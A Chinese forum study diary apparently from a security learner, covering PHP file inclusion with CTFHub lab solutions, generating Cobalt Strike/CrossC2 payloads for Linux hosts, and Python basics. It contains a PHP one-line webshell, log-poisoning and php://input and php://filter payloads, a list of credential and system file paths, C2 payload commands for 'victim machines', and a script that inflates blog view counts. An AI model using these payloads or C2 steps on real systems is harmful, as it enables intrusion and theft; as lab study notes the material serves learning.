本帖最后由 gclome 于 2021-10-19 22:32 编辑
2021/10/19 学习日记
part1--文件包含
相关基础知识
1、文件包含漏洞原理
文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞 在网站的开发人员在开发网站的时候,会把经常重复使用的函数或者特定的页面写到单个文件中,需要使用的时候就直接调用此文件即可,而无需再次浪费时间再次编写,这种操作通常被称为文件包含。 如果我们没有对文件的来源进行严格的审查,也就是程序员在编写代码的时候触犯的逻辑性的错误就可能会导致文件读取漏洞和其它类型的漏洞,我们已php为例,在php中常用的文函数有(include、require、include_once、require_once),后续会介绍其中的区别。 2、文件包含函数在php语言当中,有四种文件包含的函数,分别是include、require、include_once、require_once - include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。 - include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
- require( )
require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。 - require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
3、文件包含类型分类
3.1本地包含
本地文件包含的含义就是包含本地服务器的文件。 3.2远程包含要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。
4文件包含利用过程
包含本地文件 1、包含普通txt文本 先写一个文件包含的代码include.php: - <?php
- $file=$_GET['file'];
- if(isset($file)){
- include ("$file");
-
- }else{
- echo "file fail";
- }
- ?>
复制代码
然后包含一个1.txt ,内容如下: - <?php echo(" fighting gclome ")?>
复制代码
构造访问语句:
简析:通过get传参,利用?file=1.txt将1.txt包含到include.php中,在web端进行访问,就会执行txt里面的代码
2、包含一句话木马文件 将1.txt里面的文本修改如下: - <?php eval($_POST['key']);?>
复制代码先在web端进行访问,然后在拿出蚁剑连接,可以连接成功!
这个思路就可以用在上传木马时的一个绕过,适用的场景大致如下: 1、该网站存在文件包含漏洞,且允许上传txt文件 2、该网站对于上传的php文件会进行检测,要是有eval() 等危险函数会拒绝上传,这时我们可以写一个文件包含的php文件上传,同时该网站对于上传的txt文件不会进行检测,那我们可以在txt文件中写入一句话,然后利用文件包含来上传小马。
3、包含log文件 这个只是提供一个思路,因为一句话被url编码所以不能正常解析。 首先我们知道一般服务器都会有log文件,存储该服务器被访问的记录,这里比如xampp下面apache也有log文件,目录如下:
我们在网页端访问127.0.0.1:8181/file_include/include.php/the world is beautiful
会发现出现在了access.log 文件里,要是我们写入小马,再通过文件包含或许有意外的收获,我们来试试 然后就会记录在log日志文件:
我们在web也可以直接访问access.log文件
通过上面的访问地址,将access.log文件包含在了include.php里面,由于access.log里面有一句话木马,也就是将一句话木马包含在了include.php里面,有然后同样的地址去用蚁剑连接: http://127.0.0.1:8181/file_include/include.php?file=D:/xampp/apache/logs/access.log
没有连上,这是因为将文件写入日志文件的时候进行了url编码。 远程文件包含 5伪协议利用
6常见的敏感路径1 Windows C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件 C:\windows\repair\sam //存储 windows 系统初次安装的密码 C:\Program Files\mysql\my.ini //mysql 配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php 配置信息 C:\windows\my.ini //mysql 配置文件 2 UNIX/Linux /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //PHP 相关配置 /etc/httpd/conf/httpd.conf //apache /etc/php5/apache2/php.ini //ubuntu 系统的默认路径 7文件包含漏洞攻击防范
7.1检查服务器配置文件
在php中有个php.ini的配置文件,里面大概是对php语言所有功能配置文件集合,其中里面有两项是allow_url_foprn、allow_url_include两个选项,其中allow_url_fopen默认是开启的,allow_url_include默认是关闭的,如果我们开启这个配置文件,我们就可以使用伪协议读取我们的敏感信息和其它操作,虽然开启allow_url_fopen也可以读取我们的文件,但是我们可以通过过滤一些字符或者限制用户的输入从而达到攻击不能读取我们信息的操作。 7.2过滤特殊符号在进行文件包含的时候我们可能经常会用到几个固定的字符,或者我们在用伪协议的时候我们也会使用特定的字符,例如:\,//,input,output,filter等我们可以将这些铭感字符都给过滤掉。代码如下 ctfhub文件包含题目练习
文件包含
对代码不够熟悉 接下来先对代码意思进行解读 - <?php
- error_reporting(0); // 关闭错误报告
- if (isset($_GET['file'])) { //isset — 检测变量是否已设置并且非 null
- if (!strpos($_GET["file"], "flag")) { //查找 "flag" 在字符串中第一次出现的位置
- include $_GET["file"];
- } else {
- echo "Hacker!!!";
- }
- } else {
- highlight_file(__FILE__); //highlight_file() 函数对文件进行语法高亮显示。
- }
- ?>
复制代码
关注这个函数strpos: - #函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
- strpos("You love php, I love php too!","php");
复制代码
点击shell,查看
这里区分一下php中$_REQUEST、$_POST、$_GET 1. $_REQUEST
php中$_REQUEST可以获取以POST方法和GET方法提交的数据,缺点:速度比较慢 。 2. $_GET
用来获取由浏览器通过GET方法提交的数据。
GET方法他是通过把参数数据加在提交表单的action属性所指的URL中,值和表单内每个字段一一对应,然后在URL中可以看到,但是有如下缺点:
1. 安全性不好,在URL中可以看得到
2. 传送数据量较小,不能大于2KB。 3. $_POST
用来获取由浏览器通过POST方法提交的数据。
POST方法他是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传送到action属性所指的URL地址中,用户看不到这个过程。
他提交的大小一般来说不受限制,但是具体根据服务器的不同,还是略有不同。相对于_GET方式安全性略高 4. $_REQUEST、$_POST、$_GET 的区别和联系
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢。
通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得 接下来构造payload,用post请求给ctf传参,开始表演:
打开flag文件 ctfhub=system('cat /flag');
通过这一题,在实际情况下,我们往往会查看一些系统敏感文件: 例如:
php://input
- <?php
- if (isset($_GET['file'])) {
- if ( substr($_GET["file"], 0, 6) === "php://" ) {
- include($_GET["file"]);
- } else {
- echo "Hacker!!!";
- }
- } else {
- highlight_file(__FILE__);
- }
- ?>
- <hr>
- i don't have shell, how to get flag? <br>
- <a href="phpinfo.php">phpinfo</a>
复制代码
substr — 返回字符串的子串 if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } //限制输入的伪协议为php开头的
查看phpinfo,找到一下字段
证明是可以使用php://input
构造payload <?php system("ls /"); ?>
<?php system("cat /flag_4502");?> 读取源代码
- <?php
- //报告所有错误
- error_reporting(E_ALL);
- if (isset($_GET['file'])) {
- if ( substr($_GET["file"], 0, 6) === "php://" ) {
- include($_GET["file"]);
- } else {
- echo "Hacker!!!";
- }
- } else {
- highlight_file(__FILE__);
- }
- ?>
复制代码
这里就不能将指令POST上去了,图中又提示了必须使用php://,FLAG在/flag内
因此想到过滤器filter
直接访问?file=php://filter/resource=/flag得到FLAG
在有些情况下,不能直接读出,可以使用read=convert.base64-encode 进行base64编码读取
- ?file=php://filter/read=convert.base64-encode/resource=/flag
复制代码
part2-CrossC2--上线linux主机cobaltstike默认只生成windows载荷,想上线linux主机需要通过ssh回话的方式,CrossC2可以通过生成linux载荷直接上线linux主机(或Mac) 开始根据网上下载的包,直接使用并没有成功生成载荷,然后用老师处理好的的CrossC2插件就可以完美上线。 过程如下: 1、首先设置监听,这里需要特别注意: CrossC2暂时只支持HTTPS的监听器。 2、我们并没有将CrossC2.cna加载到Cobaltstrike的脚本管理器中,而是直接在命令行下生成:
- windows版本:
- genc2win.exe 192.168.0.118 8090 .cobaltstrike.beacon_keys null Linux x86 test2
复制代码
- linux版本:
- ./genc2linux ip port ./.cobaltstrike.beacon_keys null Linux x86 /home/test3
复制代码
帮助文档:
(1)自己客户端是windows机器就选择genc2win.exe,若是linux 选择genc2linux,若是mac os 选择genc2mac
(2)host ,port分别指监听的ip和端口号 (3)beaconkey_file 这里一定要把Cobaltstrike对应服务端的.cobaltstrike.beacon_keys 复制到src文件夹下。 (4)这时候是选择运行平台,注意首字母是大写 (5)x86或者x64根据受害机器的版本来 (6)最后就是生成载荷的名称
在受害机器上运行载荷:
接下来就是肉鸡上线!Linux机器上线啦!
part3-python学习
(跟着秀璋老师的博客)
二、条件语句和循环语句的基础知识1.条件语句:包括单分支、双分支和多分支语句,if-elif-else
2.循环语句:while的使用及简单网络刷博器爬虫
3.循环语句:for的使用及遍历列表、元组、文件和字符串 语句块: 在讲诉条件语句、循环语句和其他语句之前,先来补充语句块知识.(前面讲函数时已经用到过) 语句块并非一种语句,它是在条件为真(条件语句)时执行或执行多次(循环语句)的一组语句.在代码前放置空格或tab字符来缩进语句即可创建语句块.很多语言特殊单词或字符(如begin或{)来表示一个语句块的开始,用另外的单词或字符(如end或})来表示语句块的结束. 而在Python中使用冒号(来标识语句块的开始,块中每一个语句都是缩进的(缩进量相同).当回退到和已经闭合的块一样的缩进量时,就表示当前块已经结束. 一. 条件语句ifif分支语句表达式基本类型常见的有一下三种: 1.单分支语句 它的基本格式是: if condition: statement statement 需要注意的是Ptthon中if条件语句条件无需圆括号(),条件后面需要添加冒号,它没有花括号{}而是使用TAB实现区分.其中condition条件判断通常有布尔表达式(True|False 0-假|1-真 非0即真)、关系表达式(>= <= == !=)和逻辑运算表达式(and or not). 2.双分支语句 它的基本格式是: if condition: statement statement else: statement statement 3.多分支语句 if多分支由if-elif-else组成,其中elif相当于else if,同时它可以使用多个if的嵌套.具体代码如下所示: - #双分支if-else
- count = int(input("please input:"))
- print ('count',count)
- if count > 80:
- print ("larger than 80")
- else:
- print ("lower than 80")
- print("end if-else45")
- #双分支if-elif-else
- number = int(input("please input:"))
- if number >= 90:
- print ("A")
- elif number >= 80:
- print ("B")
- elif number >= 70:
- print ("C")
- elif number >= 60:
- print ("D")
- else:
- print("No Pass!")
- #条件判断
- sex= input("please input your sex:")
- if sex == "man" or sex == "male" or sex == "m":
- print("man")
- else:
- print("female")
复制代码
至于count = int(input("please input:")) 要加int,是因为 input 输入的是str类型的 要想实现 > 就要换成int 类型 不然会报错如下:
二、循环语句whilewhile循环语句的基本格式如下: while condition: statement statement else: statement statement 其中判断条件语句condition可以为布尔表达式、关系表达式和逻辑表达式,else可以省略(此处列出为与C语言等区别).举个例子: - #循环while计数1+2+..+100
- i = 1
- sum = 0
- while i <= 100:
- sum=sum+i
- i=i+1
- else:
- print("exit")
- print(sum)
- '''
- 输出结果为:
- exit
- 5050
- '''
复制代码
它的输出结果为5050,当i加到101时,由于i>100将执行else语句. 需要注意的是Python中使用井号(#)表示行注释,使用三引号('''...''')表示多行注释.区别于C/C++的//行注释和/**/多行注释. 下面讲述一段代码刷博器爬虫,先给出代码再讲解: - import webbrowser as web
- import time
- import os
- i=0
- while i < 5:
- web.open_new_tab("http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=21&extra=page%3D1&page=6")
- i=i+1
- time.sleep(0.8)
- else:
- os.system('taskkill /F /IM firefox.exe')
复制代码
在搜狐博客或新浪博客中只要在新窗口打开就会增加浏览访问次数,所以上面的代码主要是通过调用webbrowser浏览器的open_new_tab打开新的窗口,而CSDN不行(估计绑定用户或ip有关). 上面代码中windoes命令taskkill的作用是杀掉应用程序IE浏览器,在DOS中输入"taskkill /F /IM firefox.exe"可以强行关闭应用程序(chrome.exe或qq.exe),其中/F表示强行终止程序,/IM表示图像.在该程序中主要的作用是清除内存,防止内存消耗太大出现死机现象;但是需要调用import os的system()函数打开,而Linux下用kill命令(kill -pid或killall)终止进程.
代码中time.sleep(seconds)表示"Delay execution for a given number of seconds.",从打开到加载有一定时间. 当你需要大量增加浏览量时可以使用两层循环嵌套,每次打开5个网页在关闭在执行100次,这样你的内存也不会因为消耗太大出现死机现象,也可以使用import random count=random.randint(20,40)产生20到40随机数来执行外层循环.代码比较简单,主要是想通过它介绍些Python的基础知识 我加载了自己的日记页面:
三、循环语句for该循环语句的基础格式为: for target in sequences: statements target表示变量名,sequences表示序列,常见类型有list(列表)、tuple(元组)、strings(字符串)和files(文件). Python的for没有体现出循环的次数,不像C语言的for(i=0;i<10;i++)中i循环计数,Python的for指每次从序列sequences里面的数据项取值放到target里,取完即结束,取多少次循环多少次.其中in为成员资格运算符,检查一个值是否在序列中.同样可以使用break和continue跳出循环. 1、字符串循环 - s="the school is beautiful"
- for i in s:
- print(i,end='')
复制代码
print(i,end='')可以将所有的字符一行输出:the school is beautiful 2、列表循环 - list1=[1,3,5,7,'x',13,5]
- i=0
- for val in list1:
- print (format(i,'2d'),val)
- i=i+1
- else:
- print('out for')
复制代码
注意:列表List由一堆数据用逗号间隔,方括号括起,可以是同类型也可以是不同类型.format(i,'2d')相当于输出两位,不足的补空格.当输出0-9时显示"口0",而输出10-99时显示"10"实现对其功能.输出结果如下: - 0 1
- 1 3
- 2 5
- 3 7
- 4 x
- 5 13
- 6 5
- out for
复制代码
因为迭代(循环另一种说法)某范围的数字是很常用的,所以有个内建的范围函数range供使用.列表中for n in [1,2,3,4,5,6,7,8]相当于listNum=range(1,9).其格式"range(start, stop[, step]) -> list of integers",它的工作方式类似于分片,它包含下限(本例range(1,9)中为1),但不包含上限(本例中9),如果希望下限为0,可以只提供上限如range(4)=[0,1,2,3]. 产生1到100的数字range(1,101),输出1到100的奇数range(1,101,2),输出1到100的偶数range(2,101,2). 3.元组循环 - s=(1,2,3,4,5)
- for i in (s):
- print(i)
- else:
- print("end!")
复制代码
元组tuple每个数据项不可修改,只可读,而序列list[1,2,3,4]可以修改. 4.文件循环 help(file.read)返回一个字符串."read([size]) -> read at most size bytes, returned as a string." help(file.readlines)返回一个列表."readlines([size]) -> list of strings, each a line from the file."相当于读n行,由n次readline组成,读出的字符串构成列表. help(file.readline)从某个文件读一行."readline([size]) -> next line from the file, as a string." - #文件循环遍历三种对比
- for n in open('1.txt','r').read():
- print (n ,end=' ')
- print ('End')
-
- for n in open('1.txt','r').readlines():
- print (n,end=''),
- print ('End')
-
- for n in open('1.txt','r').readline():
- print (n ,end='')
- print ('End')
复制代码
运行结果: 如果需要文件输出也可以通过下面代码实现,使用w会覆盖而a+是追加功能,后面涉及到文件详细叙述. for r in open('test.txt','r').readlines(): open('test.txt','a+').write(c) 三、字符串的基础知识在Python中最重要的数据类型包括字符串、列表、元组和字典等.该篇主要讲述Python的字符串基础知识. 一.字符串基础字符串指一有序的字符序列集合,用单引号、双引号、三重(单双均可)引号引起来.如: s1='www.csdn.net' s2="www.csdn.net" s3='''aaabbb''' 其中字符串又包括: 1.转义字符串 像C语言中定义了一些字母前加"\"来表示常见的那些不能显示的ASCII字符,python也有转义字符.如下: \\-反斜杠符号 \'-单引号 \"-双引号 \ a-响铃 \b-退格(Backspace) \n-换行 \r-回车 \f-换页 \v-纵向制表符 \t-横向制表符 \e-转义 \000-空 \oyy-八进制数yy代表的字符 \xyy-十进制yy代表的字符 2.raw字符串 Python中原始字符串(raw strings),r关闭转义机制.告诉Python后面是连串,"\"不当转义字符处理.例: - #转义字符和raw字符
- s1="aa\nhaotian"
- print(s1)
- s2=r"aa\nhaotian"
- print (s2)
-
- #输出
- aa
- haotian
- aa\nhaotian
-
- #raw原始字符串处理磁盘路径
- open(r'./1.txt','a+')
- open('./1.txt','a+')
复制代码
3.unicode字符串 告诉Python是Unicode编码,Unicode(统一码、万国码)是一种在计算机上使用的字符编码.在Unicode之前用的都是ASCII码,Unicode通过使用一个或者多个字节来表示一个字符.Python里面默认所有字面上的字符串都用ASCII编码,可以通过在字符串前面加一个'u'前缀的方式声明Unicode字符串,这个'u'前缀告诉Python后面的字符串要编成Unicode字符串.例:s=u'aa\nbb' 中文处理一直很让人头疼,推荐:Unicode和Python的中文处理 4.格式化字符串 字符串格式化功能使用字符串格式化操作符%(百分号)实现,在%的左侧放置一个字符串(格式化字符串),而右侧放置希望格式化的值,也可是元组和字典.如果需要在字符串里包括百分号,使用%%.如果右侧是元组的话,则其中每一个元素都会被单独格式化,每个值都对应一个转化说明符.例:
- print("your age is %d,name is %s,score is %d"%(18,'gclome',89))
- 输出:your age is 18,name is gclome,score is 89
复制代码
它有点类似于C语言的printf("%d",x),其中百分号%相当于C语言的逗号.其中字符串格式化转换类型如下: d,i 带符号的十进制整数 o 不带符号的八进制 u 不带符号的十进制 x 不带符号的十六进制(小写) X 不带符号的十六进制(大写) e,E 科学计数法表示的浮点数(小写,大写) f,F 十进制浮点数 c 单字符 r 字符串(使用repr转换的任意Python) s 字符串(使用str转换的任意Python) g,G 指数大于4或小于精度值和e相同,否则和f相同 二.字符串操作字符串的基础操作包括分割,索引,乘法,判断成员资格,求长度等. 1.+连接操作 - s1='good'
- s2='night'
- s3=s1+s2
- print(s1,s2)
- print(s3)
- 运行结果:
- good night
- goodnight
复制代码
2.*重复操作 - s1='good'*5
- print(s1)
- 运行结果:
- goodgoodgoodgoodgood
复制代码
3.索引s[index]Python的索引格式string_name[index],可以访问字符串里面的字符成员. 如: - s1='good night'
- print(s1[8])
- 运行结果:
- h
复制代码
4.切片s[i:j] Python中切片的基本格式是s[i:j:step],其中step表示切片的方向,起点不写从0开始,终点不写切到最后.如: - s='abcdefghijk'
- sub=s[3:8]
- print (sub)
- 运行结果:
- defgh
- 注:开始是3,结尾只取到7,8取不到
复制代码
其中当step=-1时表示反方向切片.如: - s='abcdefghijk'
- sub=s[-2:-5:-1]
- print (sub)
- 运行结果:
- jih
复制代码
因为最后一个"-1"表示从反方向切片,s[9]='j' s[-2]='j',正方向第一个'a'索引下标值为0,最后一个'k'索引下标值为-1.故'j'为-2,而sub[-2:-5:-1]表示从j(-2位置)切到g(-5位置,但不取该值).故结果为"jih". 如果想完成字符串逆序,s='www.baidu.com',则可s1=[-1::-1]即可.起点为m(-1),无终点表示切到最后. 5.字段宽度和精度 前面讲述的format()函数中涉及到该知识,如'%6.2f'%12.345678 输出"口12.35"其中6表示字段宽度,2表示精度,故补一个空格,同时采用四舍五入的方法结果输出12.35. 同时,零(0)可表示数字将会用0填充,减号(-)用来实现左对齐数值,空白(" ")意味着正数前加上空格,在正负数对其时非常有用,加号表示不管正数还是负数都标识出符号,对齐时也有用.例: - #字段宽度和精度
- num1=12.7852638
- s1=('%8.2f'%num1)
- print(s1)
- #补充0
- s2=('%08.2f'%num1)
- print(s2)
- #减号实现左对齐
- s3=('%-8.2f'%num1)
- print(s3)
- #空白
- print (('% 5d'%10) + '\n' + ('%5d'%-10))
- #符号
- print (('%+5d'%10) + '\n' + ('%+5d'%-10))
- #运行结果:
复制代码
三.字符串方法
字符串从string模块中"继承"了很多方法,下面讲解一些常用的方法: find() 在一个较长的字符串中查找子字符串,它返回子串所在位置的最左端索引,如果没有找到则返回-1.其格式为"S.find(sub [,start [,end]]) -> int",其中该方法可接受可选的起始点和结束点参数.而rfind()从右往左方向查找. - text = "hello python ,hello gclome"
- length = len(text)
- print(length)
- print(text.find('hello'))
- print(text.find('hello',10,40))
- 运行结果:
- 26
- 0
- 14
复制代码
join() 其格式为"S.join(iterable) -> string",含义为"Return a string which is the concatenation of the strings in the iterable. The separator between elements is S."即用来在队列中添加元素,但队列中元素必须是字符串.它是split方法的逆方法. - seq = ['1','2','3','4']
- sep = '+'
- print(sep.join(seq)) #连接字符串列表 sep表示'+'连接
- dirs='','usr','bin','env'
- print('/'.join(dirs))
- print('C:'+'\\'.join(dirs))
- 输出结果:
- 1+2+3+4
- /usr/bin/env
- C:\usr\bin\env
复制代码
split()
字符串分割函数,格式为"S.split([sep [,maxsplit]]) -> list of strings",将字符串分割成序列,如果不提供分割符,程序将会把所有空格作为分隔符. - #按空格拆分成6个单词,返回list
- s = 'despite his protests to the contrary'
- li = s.split()
- print (li)
- print('1+2+3+4+5'.split('+'))
- 输出结果:
- ['despite', 'his', 'protests', 'to', 'the', 'contrary']
- ['1', '2', '3', '4', '5']
复制代码
strip() 去掉开头和结尾的空格键(两侧且不包含内部),S.strip([chars])可以去除指定字符.而函数lstrip()去除字符串最开始的所有空格,rstrip()去除字符串最尾部的所有空格. replace() 该方法返回某字符串的所有匹配项均被替换后得到字符串,如文字处理程序中"查找并替换"功能. translate() 该方法和replace一样,可以替换字符串中某部分,但与前者的区别是translate只处理单个字符,它的优势在于可以同时替换多个,有时候效率比replace高. 如:s='eastmount' s1=s.replace('e','E') => 替换后'Eastmount' 字符串判断方法 isalnum()判断是否都是有效字符(字母+数字),如判断密码帐号,输出Ture\False. isalpha()判断是否是字母 isdigit()判断是否是数字 islower()判断是否全是小写 isupper()判断是否全是大写 isspace()判断是否是空格(' ')
lower() 该方法返回字符串的小写字母版,在判断用户名不区分大小写时使用.upper()转换为大写,title()函数将字符串转换为标题——所有单词的首字母大写,而其他字母小写,但是它使用的单词划分方法可能会得到不自然的结果.
- #按空格拆分成6个单词,返回list
- s = 'men are more likely than women to make excuses'
- s1 = s.upper()
- print(s1)
- s2 = s.title()
- print(s2)
- 输出结果:
- MEN ARE MORE LIKELY THAN WOMEN TO MAKE EXCUSES
- Men Are More Likely Than Women To Make Excuses
复制代码
每日一句:
Fungi are important in the process of dency,which returns ingredients to the soil,enhances soil feryility ,and decomposes animal debris.
真菌在腐化过程中十分重要,腐化过程将各种成分回馈于土壤,提高其肥力,并分解动物残骸
|